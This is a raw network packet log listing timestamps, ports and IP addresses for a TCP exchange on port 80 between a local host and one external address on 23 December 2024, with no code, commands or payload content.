Dec 23, 2024 07:16:04.701244116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.701365948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.701693058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.701968908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.702058077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.702143908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.702744961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.702852964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.703058004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.703547955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.703691959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.703846931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.704386950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.704526901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.704668999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.705176115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.705271006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.705413103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.705982924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.706067085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.706780910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.706957102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.707353115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.707353115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.707592010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.707732916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.707952976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.708390951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.708522081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.708651066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.709198952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.709275961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.709481955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.709986925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.710104942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.710223913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.710782051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.710905075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.711050034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.711599112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.711750984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.712392092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.712519884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.712694883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.712694883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.713191986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.713313103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.713752031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.714004993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.714123964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.714867115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.714963913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.715097904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.715097904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.715620041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.715715885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.715888977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.716411114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.716526985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.717221975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.717315912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.718036890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.718066931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.718066931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.718143940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.718852997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.719103098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.719129086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.719171047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.719650030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.719837904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.720190048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.720413923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.720612049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.721224070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.721363068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.722038031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.722166061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.722887039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.722999096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.723340988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.723340988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.723340988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.723340988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.723701000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.723823071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.724425077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.724458933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.724663973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.725245953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.725363970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.726049900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.726161003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.726875067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.726986885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.727680922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.727680922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.727680922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.727680922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.727686882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.727829933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.728485107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.728647947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.729271889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.729391098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.730070114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.730202913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.730890989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.730973005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.731666088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.731666088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.731666088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.731666088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.731666088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.731703997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.731820107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.732497931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.732599974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.733279943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.733380079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.733599901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.733599901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.733599901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.734123945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.734236002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.735347986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.740962029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.741023064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.741214991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.741226912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.741345882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.741697073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.742129087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.742186069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.742315054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.742870092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.789563894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.887573957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.887676001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.887878895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.887958050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.888041019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.888041019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.888693094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.888761997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.889473915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.889590979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.890300989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.890433073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.891119957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.891329050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.891895056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.891999006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.892729998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.892784119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.892803907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.892803907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.892803907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.892803907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.892803907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.893500090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.893565893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.893605947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.894309998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.894383907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.895133972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.895226002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.895925999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.896004915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.896081924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.896081924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.896081924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.896081924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.896713972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.896835089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.897538900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.897660971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.898335934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.898467064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.899211884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.899352074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.899418116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.899418116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.899418116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.899418116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.899967909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.900239944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.900734901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.900850058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.901566982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.901679039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.902379990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.902458906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.903196096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.903238058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.903238058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.903238058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.903238058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.903276920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.903986931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.904088974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.904768944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.904834032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.904834032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.904872894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.905170918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.905584097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.905693054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.906383991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.906536102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.907191038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.907402039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.907449961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.907449961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.907449961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.908013105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.908184052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.908795118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.908864975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.909655094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.909796953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.910401106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.910526991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.911192894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.911325932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.911398888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.911398888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.911398888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.911398888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.911398888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.911989927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.912189007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.912775040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.912904978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.913639069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.913732052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.914386034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.914515018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.915205956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.915324926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.915386915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.915386915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.915386915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.915386915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.915386915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.916043997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.916160107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.916814089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.916980982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.917572975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.917572975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.917610884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.917774916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.918423891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.918534994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.918765068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.918765068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.919229984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.919338942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.919403076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.920016050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.920200109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.920820951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.921011925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.921643019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.921753883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.922487020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.922543049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.923233032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.923341990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.923582077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.923582077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.923582077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.923582077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.923582077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.924072981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.924209118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.924832106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.924957037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.925652981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.925754070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.926466942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.926548958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.929562092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.929562092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.929562092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.932565928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.933235884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.933254957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.933490992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.933631897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.934350014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.934426069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.935081005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.935565948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.935565948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.935565948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.973418951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.080271006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.080502987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.080601931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.080609083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.081273079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.081362963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.082093954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.082201004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.082909107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.082977057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.083005905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.083005905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.083007097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.083007097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.083717108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.083795071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.084501028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.084578991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.085292101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.085410118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.085567951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.085567951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.085567951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.085567951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.086113930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.086220980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.086962938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.087058067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.087723017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.087815046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.088525057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.088572025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.088572025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.088572025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.088717937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.089524984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.089965105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.090454102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.090581894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.091142893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.091253996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.091574907 CET	49739	80	192.168.2.5	185.215.113.16
